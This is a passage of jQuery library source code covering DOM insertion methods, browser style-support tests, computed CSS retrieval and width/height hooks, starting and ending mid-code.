deepDataAndEvents;\n\n\t\treturn this.map( function() {\n\t\t\treturn jQuery.clone( this, dataAndEvents, deepDataAndEvents );\n\t\t} );\n\t},\n\n\thtml: function( value ) {\n\t\treturn access( this, function( value ) {\n\t\t\tvar elem = this[ 0 ] || {},\n\t\t\t\ti = 0,\n\t\t\t\tl = this.length;\n\n\t\t\tif ( value === undefined && elem.nodeType === 1 ) {\n\t\t\t\treturn elem.innerHTML;\n\t\t\t}\n\n\t\t\t// See if we can take a shortcut and just use innerHTML\n\t\t\tif ( typeof value === \"string\" && !rnoInnerhtml.test( value ) &&\n\t\t\t\t!wrapMap[ ( rtagName.exec( value ) || [ \"\", \"\" ] )[ 1 ].toLowerCase() ] ) {\n\n\t\t\t\tvalue = jQuery.htmlPrefilter( value );\n\n\t\t\t\ttry {\n\t\t\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\t\t\telem = this[ i ] || {};\n\n\t\t\t\t\t\t// Remove element nodes and prevent memory leaks\n\t\t\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\t\t\tjQuery.cleanData( getAll( elem, false ) );\n\t\t\t\t\t\t\telem.innerHTML = value;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\telem = 0;\n\n\t\t\t\t// If using innerHTML throws an exception, use the fallback method\n\t\t\t\t} catch ( e ) {}\n\t\t\t}\n\n\t\t\tif ( elem ) {\n\t\t\t\tthis.empty().append( value );\n\t\t\t}\n\t\t}, null, value, arguments.length );\n\t},\n\n\treplaceWith: function() {\n\t\tvar ignored = [];\n\n\t\t// Make the changes, replacing each non-ignored context element with the new content\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tvar parent = this.parentNode;\n\n\t\t\tif ( jQuery.inArray( this, ignored ) < 0 ) {\n\t\t\t\tjQuery.cleanData( getAll( this ) );\n\t\t\t\tif ( parent ) {\n\t\t\t\t\tparent.replaceChild( elem, this );\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Force callback invocation\n\t\t}, ignored );\n\t}\n} );\n\njQuery.each( {\n\tappendTo: \"append\",\n\tprependTo: \"prepend\",\n\tinsertBefore: \"before\",\n\tinsertAfter: \"after\",\n\treplaceAll: \"replaceWith\"\n}, function( name, original ) {\n\tjQuery.fn[ name ] = function( selector ) {\n\t\tvar elems,\n\t\t\tret = [],\n\t\t\tinsert = jQuery( selector ),\n\t\t\tlast = insert.length - 1,\n\t\t\ti = 0;\n\n\t\tfor ( ; i <= last; i++ ) {\n\t\t\telems = i === last ? this : this.clone( true );\n\t\t\tjQuery( insert[ i ] )[ original ]( elems );\n\n\t\t\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t\t\t// .get() because push.apply(_, arraylike) throws on ancient WebKit\n\t\t\tpush.apply( ret, elems.get() );\n\t\t}\n\n\t\treturn this.pushStack( ret );\n\t};\n} );\nvar rnumnonpx = new RegExp( \"^(\" + pnum + \")(?!px)[a-z%]+$\", \"i\" );\n\nvar rcustomProp = /^--/;\n\n\nvar getStyles = function( elem ) {\n\n\t\t// Support: IE <=11 only, Firefox <=30 (trac-15098, trac-14150)\n\t\t// IE throws on elements created in popups\n\t\t// FF meanwhile throws on frame elements through \"defaultView.getComputedStyle\"\n\t\tvar view = elem.ownerDocument.defaultView;\n\n\t\tif ( !view || !view.opener ) {\n\t\t\tview = window;\n\t\t}\n\n\t\treturn view.getComputedStyle( elem );\n\t};\n\nvar swap = function( elem, options, callback ) {\n\tvar ret, name,\n\t\told = {};\n\n\t// Remember the old values, and insert the new ones\n\tfor ( name in options ) {\n\t\told[ name ] = elem.style[ name ];\n\t\telem.style[ name ] = options[ name ];\n\t}\n\n\tret = callback.call( elem );\n\n\t// Revert the old values\n\tfor ( name in options ) {\n\t\telem.style[ name ] = old[ name ];\n\t}\n\n\treturn ret;\n};\n\n\nvar rboxStyle = new RegExp( cssExpand.join( \"|\" ), \"i\" );\n\n\n\n( function() {\n\n\t// Executing both pixelPosition & boxSizingReliable tests require only one layout\n\t// so they're executed at the same time to save the second computation.\n\tfunction computeStyleTests() {\n\n\t\t// This is a singleton, we need to execute it only once\n\t\tif ( !div ) {\n\t\t\treturn;\n\t\t}\n\n\t\tcontainer.style.cssText = \"position:absolute;left:-11111px;width:60px;\" +\n\t\t\t\"margin-top:1px;padding:0;border:0\";\n\t\tdiv.style.cssText =\n\t\t\t\"position:relative;display:block;box-sizing:border-box;overflow:scroll;\" +\n\t\t\t\"margin:auto;border:1px;padding:1px;\" +\n\t\t\t\"width:60%;top:1%\";\n\t\tdocumentElement.appendChild( container ).appendChild( div );\n\n\t\tvar divStyle = window.getComputedStyle( div );\n\t\tpixelPositionVal = divStyle.top !== \"1%\";\n\n\t\t// Support: Android 4.0 - 4.3 only, Firefox <=3 - 44\n\t\treliableMarginLeftVal = roundPixelMeasures( divStyle.marginLeft ) === 12;\n\n\t\t// Support: Android 4.0 - 4.3 only, Safari <=9.1 - 10.1, iOS <=7.0 - 9.3\n\t\t// Some styles come back with percentage values, even though they shouldn't\n\t\tdiv.style.right = \"60%\";\n\t\tpixelBoxStylesVal = roundPixelMeasures( divStyle.right ) === 36;\n\n\t\t// Support: IE 9 - 11 only\n\t\t// Detect misreporting of content dimensions for box-sizing:border-box elements\n\t\tboxSizingReliableVal = roundPixelMeasures( divStyle.width ) === 36;\n\n\t\t// Support: IE 9 only\n\t\t// Detect overflow:scroll screwiness (gh-3699)\n\t\t// Support: Chrome <=64\n\t\t// Don't get tricked when zoom affects offsetWidth (gh-4029)\n\t\tdiv.style.position = \"absolute\";\n\t\tscrollboxSizeVal = roundPixelMeasures( div.offsetWidth / 3 ) === 12;\n\n\t\tdocumentElement.removeChild( container );\n\n\t\t// Nullify the div so it wouldn't be stored in the memory and\n\t\t// it will also be a sign that checks already performed\n\t\tdiv = null;\n\t}\n\n\tfunction roundPixelMeasures( measure ) {\n\t\treturn Math.round( parseFloat( measure ) );\n\t}\n\n\tvar pixelPositionVal, boxSizingReliableVal, scrollboxSizeVal, pixelBoxStylesVal,\n\t\treliableTrDimensionsVal, reliableMarginLeftVal,\n\t\tcontainer = document.createElement( \"div\" ),\n\t\tdiv = document.createElement( \"div\" );\n\n\t// Finish early in limited (non-browser) environments\n\tif ( !div.style ) {\n\t\treturn;\n\t}\n\n\t// Support: IE <=9 - 11 only\n\t// Style of cloned element affects source element cloned (trac-8908)\n\tdiv.style.backgroundClip = \"content-box\";\n\tdiv.cloneNode( true ).style.backgroundClip = \"\";\n\tsupport.clearCloneStyle = div.style.backgroundClip === \"content-box\";\n\n\tjQuery.extend( support, {\n\t\tboxSizingReliable: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn boxSizingReliableVal;\n\t\t},\n\t\tpixelBoxStyles: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn pixelBoxStylesVal;\n\t\t},\n\t\tpixelPosition: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn pixelPositionVal;\n\t\t},\n\t\treliableMarginLeft: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn reliableMarginLeftVal;\n\t\t},\n\t\tscrollboxSize: function() {\n\t\t\tcomputeStyleTests();\n\t\t\treturn scrollboxSizeVal;\n\t\t},\n\n\t\t// Support: IE 9 - 11+, Edge 15 - 18+\n\t\t// IE/Edge misreport `getComputedStyle` of table rows with width/height\n\t\t// set in CSS while `offset*` properties report correct values.\n\t\t// Behavior in IE 9 is more subtle than in newer versions & it passes\n\t\t// some versions of this test; make sure not to make it pass there!\n\t\t//\n\t\t// Support: Firefox 70+\n\t\t// Only Firefox includes border widths\n\t\t// in computed dimensions. (gh-4529)\n\t\treliableTrDimensions: function() {\n\t\t\tvar table, tr, trChild, trStyle;\n\t\t\tif ( reliableTrDimensionsVal == null ) {\n\t\t\t\ttable = document.createElement( \"table\" );\n\t\t\t\ttr = document.createElement( \"tr\" );\n\t\t\t\ttrChild = document.createElement( \"div\" );\n\n\t\t\t\ttable.style.cssText = \"position:absolute;left:-11111px;border-collapse:separate\";\n\t\t\t\ttr.style.cssText = \"box-sizing:content-box;border:1px solid\";\n\n\t\t\t\t// Support: Chrome 86+\n\t\t\t\t// Height set through cssText does not get applied.\n\t\t\t\t// Computed height then comes back as 0.\n\t\t\t\ttr.style.height = \"1px\";\n\t\t\t\ttrChild.style.height = \"9px\";\n\n\t\t\t\t// Support: Android 8 Chrome 86+\n\t\t\t\t// In our bodyBackground.html iframe,\n\t\t\t\t// display for all div elements is set to \"inline\",\n\t\t\t\t// which causes a problem only in Android 8 Chrome 86.\n\t\t\t\t// Ensuring the div is `display: block`\n\t\t\t\t// gets around this issue.\n\t\t\t\ttrChild.style.display = \"block\";\n\n\t\t\t\tdocumentElement\n\t\t\t\t\t.appendChild( table )\n\t\t\t\t\t.appendChild( tr )\n\t\t\t\t\t.appendChild( trChild );\n\n\t\t\t\ttrStyle = window.getComputedStyle( tr );\n\t\t\t\treliableTrDimensionsVal = ( parseInt( trStyle.height, 10 ) +\n\t\t\t\t\tparseInt( trStyle.borderTopWidth, 10 ) +\n\t\t\t\t\tparseInt( trStyle.borderBottomWidth, 10 ) ) === tr.offsetHeight;\n\n\t\t\t\tdocumentElement.removeChild( table );\n\t\t\t}\n\t\t\treturn reliableTrDimensionsVal;\n\t\t}\n\t} );\n} )();\n\n\nfunction curCSS( elem, name, computed ) {\n\tvar width, minWidth, maxWidth, ret,\n\t\tisCustomProp = rcustomProp.test( name ),\n\n\t\t// Support: Firefox 51+\n\t\t// Retrieving style before computed somehow\n\t\t// fixes an issue with getting wrong values\n\t\t// on detached elements\n\t\tstyle = elem.style;\n\n\tcomputed = computed || getStyles( elem );\n\n\t// getPropertyValue is needed for:\n\t// .css('filter') (IE 9 only, trac-12537)\n\t// .css('--customProperty) (gh-3144)\n\tif ( computed ) {\n\n\t\t// Support: IE <=9 - 11+\n\t\t// IE only supports `\"float\"` in `getPropertyValue`; in computed styles\n\t\t// it's only available as `\"cssFloat\"`. We no longer modify properties\n\t\t// sent to `.css()` apart from camelCasing, so we need to check both.\n\t\t// Normally, this would create difference in behavior: if\n\t\t// `getPropertyValue` returns an empty string, the value returned\n\t\t// by `.css()` would be `undefined`. This is usually the case for\n\t\t// disconnected elements. However, in IE even disconnected elements\n\t\t// with no styles return `\"none\"` for `getPropertyValue( \"float\" )`\n\t\tret = computed.getPropertyValue( name ) || computed[ name ];\n\n\t\tif ( isCustomProp && ret ) {\n\n\t\t\t// Support: Firefox 105+, Chrome <=105+\n\t\t\t// Spec requires trimming whitespace for custom properties (gh-4926).\n\t\t\t// Firefox only trims leading whitespace. Chrome just collapses\n\t\t\t// both leading & trailing whitespace to a single space.\n\t\t\t//\n\t\t\t// Fall back to `undefined` if empty string returned.\n\t\t\t// This collapses a missing definition with property defined\n\t\t\t// and set to an empty string but there's no standard API\n\t\t\t// allowing us to differentiate them without a performance penalty\n\t\t\t// and returning `undefined` aligns with older jQuery.\n\t\t\t//\n\t\t\t// rtrimCSS treats U+000D CARRIAGE RETURN and U+000C FORM FEED\n\t\t\t// as whitespace while CSS does not, but this is not a problem\n\t\t\t// because CSS preprocessing replaces them with U+000A LINE FEED\n\t\t\t// (which *is* CSS whitespace)\n\t\t\t// https://www.w3.org/TR/css-syntax-3/#input-preprocessing\n\t\t\tret = ret.replace( rtrimCSS, \"$1\" ) || undefined;\n\t\t}\n\n\t\tif ( ret === \"\" && !isAttached( elem ) ) {\n\t\t\tret = jQuery.style( elem, name );\n\t\t}\n\n\t\t// A tribute to the \"awesome hack by Dean Edwards\"\n\t\t// Android Browser returns percentage for some values,\n\t\t// but width seems to be reliably pixels.\n\t\t// This is against the CSSOM draft spec:\n\t\t// https://drafts.csswg.org/cssom/#resolved-values\n\t\tif ( !support.pixelBoxStyles() && rnumnonpx.test( ret ) && rboxStyle.test( name ) ) {\n\n\t\t\t// Remember the original values\n\t\t\twidth = style.width;\n\t\t\tminWidth = style.minWidth;\n\t\t\tmaxWidth = style.maxWidth;\n\n\t\t\t// Put in the new values to get a computed value out\n\t\t\tstyle.minWidth = style.maxWidth = style.width = ret;\n\t\t\tret = computed.width;\n\n\t\t\t// Revert the changed values\n\t\t\tstyle.width = width;\n\t\t\tstyle.minWidth = minWidth;\n\t\t\tstyle.maxWidth = maxWidth;\n\t\t}\n\t}\n\n\treturn ret !== undefined ?\n\n\t\t// Support: IE <=9 - 11 only\n\t\t// IE returns zIndex value as an integer.\n\t\tret + \"\" :\n\t\tret;\n}\n\n\nfunction addGetHookIf( conditionFn, hookFn ) {\n\n\t// Define the hook, we'll check on the first run if it's really needed.\n\treturn {\n\t\tget: function() {\n\t\t\tif ( conditionFn() ) {\n\n\t\t\t\t// Hook not needed (or it's not possible to use it due\n\t\t\t\t// to missing dependency), remove it.\n\t\t\t\tdelete this.get;\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Hook needed; redefine it so that the support test is not executed again.\n\t\t\treturn ( this.get = hookFn ).apply( this, arguments );\n\t\t}\n\t};\n}\n\n\nvar cssPrefixes = [ \"Webkit\", \"Moz\", \"ms\" ],\n\temptyStyle = document.createElement( \"div\" ).style,\n\tvendorProps = {};\n\n// Return a vendor-prefixed property or undefined\nfunction vendorPropName( name ) {\n\n\t// Check for vendor prefixed names\n\tvar capName = name[ 0 ].toUpperCase() + name.slice( 1 ),\n\t\ti = cssPrefixes.length;\n\n\twhile ( i-- ) {\n\t\tname = cssPrefixes[ i ] + capName;\n\t\tif ( name in emptyStyle ) {\n\t\t\treturn name;\n\t\t}\n\t}\n}\n\n// Return a potentially-mapped jQuery.cssProps or vendor prefixed property\nfunction finalPropName( name ) {\n\tvar final = jQuery.cssProps[ name ] || vendorProps[ name ];\n\n\tif ( final ) {\n\t\treturn final;\n\t}\n\tif ( name in emptyStyle ) {\n\t\treturn name;\n\t}\n\treturn vendorProps[ name ] = vendorPropName( name ) || name;\n}\n\n\nvar\n\n\t// Swappable if display is none or starts with table\n\t// except \"table\", \"table-cell\", or \"table-caption\"\n\t// See here for display values: https://developer.mozilla.org/en-US/docs/CSS/display\n\trdisplayswap = /^(none|table(?!-c[ea]).+)/,\n\tcssShow = { position: \"absolute\", visibility: \"hidden\", display: \"block\" },\n\tcssNormalTransform = {\n\t\tletterSpacing: \"0\",\n\t\tfontWeight: \"400\"\n\t};\n\nfunction setPositiveNumber( _elem, value, subtract ) {\n\n\t// Any relative (+/-) values have already been\n\t// normalized at this point\n\tvar matches = rcssNum.exec( value );\n\treturn matches ?\n\n\t\t// Guard against undefined \"subtract\", e.g., when used as in cssHooks\n\t\tMath.max( 0, matches[ 2 ] - ( subtract || 0 ) ) + ( matches[ 3 ] || \"px\" ) :\n\t\tvalue;\n}\n\nfunction boxModelAdjustment( elem, dimension, box, isBorderBox, styles, computedVal ) {\n\tvar i = dimension === \"width\" ? 1 : 0,\n\t\textra = 0,\n\t\tdelta = 0,\n\t\tmarginDelta = 0;\n\n\t// Adjustment may not be necessary\n\tif ( box === ( isBorderBox ? \"border\" : \"content\" ) ) {\n\t\treturn 0;\n\t}\n\n\tfor ( ; i < 4; i += 2 ) {\n\n\t\t// Both box models exclude margin\n\t\t// Count margin delta separately to only add it after scroll gutter adjustment.\n\t\t// This is needed to make negative margins work with `outerHeight( true )` (gh-3982).\n\t\tif ( box === \"margin\" ) {\n\t\t\tmarginDelta += jQuery.css( elem, box + cssExpand[ i ], true, styles );\n\t\t}\n\n\t\t// If we get here with a content-box, we're seeking \"padding\" or \"border\" or \"margin\"\n\t\tif ( !isBorderBox ) {\n\n\t\t\t// Add padding\n\t\t\tdelta += jQuery.css( elem, \"padding\" + cssExpand[ i ], true, styles );\n\n\t\t\t// For \"border\" or \"margin\", add border\n\t\t\tif ( box !== \"padding\" ) {\n\t\t\t\tdelta += jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n\n\t\t\t// But still keep track of it otherwise\n\t\t\t} else {\n\t\t\t\textra += jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n\t\t\t}\n\n\t\t// If we get here with a border-box (content + padding + border), we're seeking \"content\" or\n\t\t// \"padding\" or \"margin\"\n\t\t} else {\n\n\t\t\t// For \"content\", subtract padding\n\t\t\tif ( box === \"content\" ) {\n\t\t\t\tdelta -= jQuery.css( elem, \"padding\" + cssExpand[ i ], true, styles );\n\t\t\t}\n\n\t\t\t// For \"content\" or \"padding\", subtract border\n\t\t\tif ( box !== \"margin\" ) {\n\t\t\t\tdelta -= jQuery.css( elem, \"border\" + cssExpand[ i ] + \"Width\", true, styles );\n\t\t\t}\n\t\t}\n\t}\n\n\t// Account for positive content-box scroll gutter when requested by providing computedVal\n\tif ( !isBorderBox && computedVal >= 0 ) {\n\n\t\t// offsetWidth/offsetHeight is a rounded sum of content, padding, scroll gutter, and border\n\t\t// Assuming integer scroll gutter, subtract the rest and round down\n\t\tdelta += Math.max( 0, Math.ceil(\n\t\t\telem[ \"offset\" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] -\n\t\t\tcomputedVal -\n\t\t\tdelta -\n\t\t\textra -\n\t\t\t0.5\n\n\t\t// If offsetWidth/offsetHeight is unknown, then we can't determine content-box scroll gutter\n\t\t// Use an explicit zero to avoid NaN (gh-3964)\n\t\t) ) || 0;\n\t}\n\n\treturn delta + marginDelta;\n}\n\nfunction getWidthOrHeight( elem, dimension, extra ) {\n\n\t// Start with computed style\n\tvar styles = getStyles( elem ),\n\n\t\t// To avoid forcing a reflow, only fetch boxSizing if we need it (gh-4322).\n\t\t// Fake content-box until we know it's needed to know the true value.\n\t\tboxSizingNeeded = !support.boxSizingReliable() || extra,\n\t\tisBorderBox = boxSizingNeeded &&\n\t\t\tjQuery.css( elem, \"boxSizing\", false, styles ) === \"border-box\",\n\t\tvalueIsBorderBox = isBorderBox,\n\n\t\tval = curCSS( elem, dimension, styles ),\n\t\toffsetProp = \"offset\" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 );\n\n\t// Support: Firefox <=54\n\t// Return a confounding non-pixel value or feign ignorance, as appropriate.\n\tif ( rnumnonpx.test( val ) ) {\n\t\tif ( !extra ) {\n\t\t\treturn val;\n\t\t}\n\t\tval = \"auto\";\n\t}\n\n\n\t// Support: IE 9 - 11 only\n\t// Use offsetWidth/offsetHeight for when box sizing is unreliable.\n\t// In those cases, the computed value can be trusted to be border-box.\n\tif ( ( !support.boxSizingReliable() && isBorderBox ||\n\n\t\t// Support: IE 10 - 11+, Edge 15 - 18+\n\t\t// IE/Edge misreport `getComputedStyle` of table rows with width/height\n\t\t// set in CSS while `offset*` properties report correct values.\n\t\t// Interestingly, in some cases IE 9 doesn't suffer from this issue.\n\t\t!support.reliableTrDimensions() && nodeName( elem, \"tr\" ) ||\n\n\t\t// Fall back to offsetWidth/offsetHeight when value is \"auto\"\n\t\t// This happens for inline elements with no explicit setting (gh-3571)\n\t\tval === \"auto\" ||\n\n\t\t// Support: Android <=4.1 - 4.3 only\n\t\t// Also use offsetWidth/offsetHeight for misreported inline dimensions (gh-3602)\n\t\t!parseFloat( val ) && jQuery.css( elem, \"display\", false, styles ) === \"inline\" ) &&\n\n\t\t// Make sure the element is visible & connected\n\t\telem.getClientRects().length ) {\n\n\t\tisBorderBox = jQuery.css( elem, \"boxSizing\", false, styles ) === \"border-box\";\n\n\t\t// Where available, offsetWidth/offsetHeight approximate border box dimensions.\n\t\t// Where not available (e.g., SVG), assume unreliable box-sizing and interpret the\n\t\t// retrieved value as a content box dimension.\n\t\tvalueIsBorderBox = offsetProp in elem;\n\t\tif ( valueIsBorderBox ) {\n\t\t\tval = elem[ offsetProp ];\n\t\t}\n\t}\n\n\t// Normalize \"\" and auto\n\tval = parseFloat( val ) || 0;\n\n\t// Adjust for the element's box model\n\treturn ( val +\n\t\tboxModelAdjustment(\n\t\t\telem,\n\t\t\tdimension,\n\t\t\textra || ( isBorderBox ? \"border\" : \"content\" ),\n\t\t\tvalueIsBorderBox,\n\t\t\tstyles,\n\n\t\t\t// Provide the current computed size to request scroll gutter calculation (gh-3589)\n\t\t\tval\n\t\t)\n\t) + \"px\";\n}\n\njQuery.extend( {\n\n\t// Add in style property hooks for overriding the default\n\t// behavior of getting and setting a style property\n\tcssHooks: {\n\t\topacity: {\n\t\t\tget: function( elem, computed ) {\n\t\t\t\tif ( computed ) {\n\n\t\t\t\t\t// We should always get a number back from opacity\n\t\t\t\t\tvar ret = curCSS( elem, \"opacity\" );\n\t\t\t\t\treturn ret === \"\" ? \"1\" : ret;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// Don't automatically add \"px\" to these possibly-unitless properties\n\tcssNumber: {\n\t\tanimationIterationCount: true,\n\t\taspectRatio: true,\n\t\tborderImageSlice: true,\n\t\tcolumnCount: true,\n\t\tflexGrow: true,\n\t\tflexShrink: true,\n\t\tfontWeight: true,\n\t\tgridArea: true,\n\t\tgridColumn: true,\n\t\tgridColumnEnd: true,\n\t\tgridColumnStart: true,\n\t\tgridRow: true,\n\t\tgridRowEnd: true,\n\t\tgridRowStart: true,\n\t\tlineHeight: true,\n\t\topacity: true,\n\t\torder: true,\n\t\torphans: true,\n\t\tscale: true,\n\t\twidows: true,\n\t\tzIndex: true,\n\t\tzoom: true,\n\n\t\t// SVG-related\n\t\tfillOpacity: true,\n\t\tfloodOpacity: true,\n\t\tstopOpacity: true,\n\t\tstrokeMiterlimit: true,\n\t\tstrokeOpacity: true\n\t},\n\n\t// Add in properties whose names you wish to fix before\n\t// setting or getting the value\n\tcssProps: {},\n\n\t// Get and set the style property on a DOM Node\n\tstyle: function( elem, name, value, extra ) {\n\n\t\t// Don't set styles on text and comment nodes\n\t\tif ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Make sure that we're working with the right name\n\t\tvar ret, type, hooks,\n\t\t\torigName = camelCase( name ),\n\t\t\tisCustomProp = rcustomProp.test( name ),\n\t\t\tstyle = elem.style;\n\n\t\t// Make sure that we're working with the right name. We don't\n\t\t// want to query the value if it is a CSS custom property\n\t\t// since they are user-defined.\n\t\tif ( !isCustomProp ) {\n\t\t\tname = finalPropName( origName );\n\t\t}\n\n\t\t// Gets hook for the prefixed version, then unprefixed version\n\t\thooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];\n\n\t\t// Check if we're setting a value\n\t\tif ( value !== undefined ) {\n\t\t\ttype = typeof value;\n\n\t\t\t// Convert \"+=\" or \"-=\" to relative numbers (trac-7345)\n\t\t\tif ( type === \"string\" && ( ret = rcssNum.exec( value ) ) && ret[ 1 ] ) {\n\t\t\t\tvalue = adjustCSS( elem, name, ret );\n\n\t\t\t\t// Fixes bug trac-9237\n\t\t\t\ttype = \"number\";\n\t\t\t}\n\n\t\t\t// Make sure that null and NaN values aren't set (trac-7116)\n\t\t\tif ( value == null || value !== value ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// If a number was passed in, add the unit (except for certain CSS properties)\n\t\t\t// The isCustomProp check can be removed in jQuery 4.0 when we only auto-append\n\t\t\t// \"px\" to a few hardcoded values.\n\t\t\tif ( type === \"number\" && !isCustomProp ) {\n\t\t\t\tvalue += ret && ret[ 3 ] || ( jQuery.cssNumber[ origName ] ? \"\" : \"px\" );\n\t\t\t}\n\n\t\t\t// background-* props affect original clone's values\n\t\t\tif ( !support.clearCloneStyle && value === \"\" && name.indexOf( \"background\" ) === 0 ) {\n\t\t\t\tstyle[ name ] = \"inherit\";\n\t\t\t}\n\n\t\t\t// If a hook was provided, use that value, otherwise just set the specified value\n\t\t\tif ( !hooks || !( \"set\" in hooks ) ||\n\t\t\t\t( value = hooks.set( elem, value, extra ) ) !== undefined ) {\n\n\t\t\t\tif ( isCustomProp ) {\n\t\t\t\t\tstyle.setProperty( name, value );\n\t\t\t\t} else {\n\t\t\t\t\tstyle[ name ] = value;\n\t\t\t\t}\n\t\t\t}\n\n\t\t} else {\n\n\t\t\t// If a hook was provided get the non-computed value from there\n\t\t\tif ( hooks && \"get\" in hooks &&\n\t\t\t\t( ret = hooks.get( elem, false, extra ) ) !== undefined ) {\n\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\t// Otherwise just get the value from the style object\n\t\t\treturn style[ name ];\n\t\t}\n\t},\n\n\tcss: function( elem, name, extra, styles ) {\n\t\tvar val, num, hooks,\n\t\t\torigName = camelCase( name ),\n\t\t\tisCustomProp = rcustomProp.test( name );\n\n\t\t// Make sure that we're working with the right name. We don't\n\t\t// want to modify the value if it is a CSS custom property\n\t\t// since they are user-defined.\n\t\tif ( !isCustomProp ) {\n\t\t\tname = finalPropName( origName );\n\t\t}\n\n\t\t// Try prefixed name followed by the unprefixed name\n\t\thooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];\n\n\t\t// If a hook was provided get the computed value from there\n\t\tif ( hooks && \"get\" in hooks ) {\n\t\t\tval = hooks.get( elem, true, extra );\n\t\t}\n\n\t\t// Otherwise, if a way to get the computed value exists, use that\n\t\tif ( val === undefined ) {\n\t\t\tval = curCSS( elem, name, styles );\n\t\t}\n\n\t\t// Convert \"normal\" to computed value\n\t\tif ( val === \"normal\" && name in cssNormalTransform ) {\n\t\t\tval = cssNormalTransform[ name ];\n\t\t}\n\n\t\t// Make numeric if forced or a qualifier was provided and val looks numeric\n\t\tif ( extra === \"\" || extra ) {\n\t\t\tnum = parseFloat( val );\n\t\t\treturn extra === true || isFinite( num ) ? num || 0 : val;\n\t\t}\n\n\t\treturn val;\n\t}\n} );\n\njQuery.each( [ \"height\", \"width\" ], function( _i, dimension ) {\n\tjQuery.cssHooks[ dimension ] = {\n\t\tget: function( elem, computed, extra ) {\n\t\t\tif ( computed ) {\n\n\t\t\t\t// Certain elements can have dimension info if we invisibly show them\n\t\t\t\t// but it must have a current display style that would benefit\n\t\t\t\treturn rdisplayswap.test( jQuery.css( elem, \"display\" ) ) &&\n\n\t\t\t\t\t// Support: Safari 8+\n\t\t\t\t\t// Table columns in Safari have non-zero offsetWidth & zero\n\t\t\t\t\t// getBoundingClientRect().width unless display is changed.\n\t\t\t\t\t// Support: IE <=11 only\n\t\t\t\t\t// Running getBoundingClientRect on a disconnected node\n\t\t\t\t\t// in IE throws an error.\n\t\t\t\t\t( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ?\n\t\t\t\t\tswap( elem, cssShow, function() {\n\t\t\t\t\t\treturn getWidthOrHeight( elem, dimension, extra );\n\t\t\t\t\t} ) :\n\t\t\t\t\tgetWidthOrHeight( elem, dimension, extra );\n\t\t\t}\n\t\t},\n\n\t\tset: function( elem, value, extra ) {\n\t\t\tvar matches,\n\t\t\t\tstyles = getStyles( elem ),\n\n\t\t\t\t// Only read styles.position if the test has a chance to fail\n\t\t\t\t// to avoid forcing a reflow.\n\t\t\t\tscrollboxSizeBuggy = !support.scrollboxSize() &&\n\t\t\t\t\tstyles.position === \"absolute\",\n\n\t\t\t\t// To avoid forcing a reflow, only fetch boxSizing if we need it (gh-3991)\n\t\t\t\tboxSizingNeeded = scrollboxSizeBuggy || extra,\n\t\t\t\tisBorderBox = boxSizingNeeded &&\n\t\t\t\t\tjQuery.css( elem, \"boxSizing\", false, styles ) === \"border-box\",\n\t\t\t\tsubtract = extra ?\n\t\t\t\t\tboxModelAdjustment(\n\t\t\t\t\t\telem,\n\t\t\t\t\t\tdimension,\n\t\t\t\t\t\textra,\n\t\t\t\t\t\tisBorderBox,\n\t\t\t\t\t\tstyles\n\t\t\t\t\t) :\n\t\t\t\t\t0;\n\n\t\t\t// Account for unreliable border-box dimensions by comparing offset* to computed and\n\t\t\t// faking a content-box to get border and padding (gh-3699)\n\t\t\tif ( isBorderBox && scrollboxSizeBuggy ) {\n\t\t\t\tsubtract -= Math.ceil(\n\t\t\t\t\telem[ \"offset\" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] -\n\t\t\t\t\tparseFloat( styles[ dimension ] ) -\n\t\t\t\t\tboxModelAdjustment( elem, dimension, \"border\", false, styles ) -\n\t\t\t\t\t0.5\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t// Convert to pixels if value adjustment is needed\n\t\t\tif ( subtract && ( matches = rcssNum.exec( value ) ) &&\n\t\t\t\t( matches[ 3 ] || \"px\" ) !== \"px\" ) {\n\n\t\t\t\telem.style[ dimension ] = value;\n\t\t\t\tvalue = jQuery.css( elem, dimension );\n\t\t\t}\n\n\t\t\treturn setPositiveNumber( elem, value, subtract );\n\t\t}\n\t};\n} );\n\njQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft,\n\tfunction( elem, computed ) {\n\t\tif ( computed ) {\n\t\t\treturn ( parseFloat( curCSS( elem, \"marginLeft\" ) ) ||\n\t\t\t\telem.getBoundingClientRect().left -\n\t\t\t\t\tswap( elem, { marginLeft: 0 }, function() {\n\t\t\t\t\t\treturn elem.getBoundingClientRect().left;\n\t\t\t\t\t} )\n\t\t\t) + \"px\";\n\t\t}\n\t}\n);\n\n// These hooks are used by animate to expand properties\njQuery.each( {\n\tmargin: \"\",\n\tpadding: \"\",\n\tborder: \"Width\"\n}, function( prefix, suffix ) {\n\tjQuery.cssHooks[ prefix + suffix ] = {\n\t\texpand: function( value ) {\n\t\t\tvar i = 0,\n\t\t\t\texpanded = {},\n\n\t\t\t\t// Assumes a single number if not a string\n\t\t\t\tparts = typeof value === \"string\" ? value.split( \" \" ) : [ value ];\n\n\t\t\tfor ( ; i < 4; i++ ) {\n\t\t\t\texpanded[ prefix + cssExpand[ i ] + suffix ] =\n\t\t\t\t\tparts[ i ] || parts[ i - 2 ] || parts[ 0 ];\n\t\t\t}\n\n\t\t\treturn 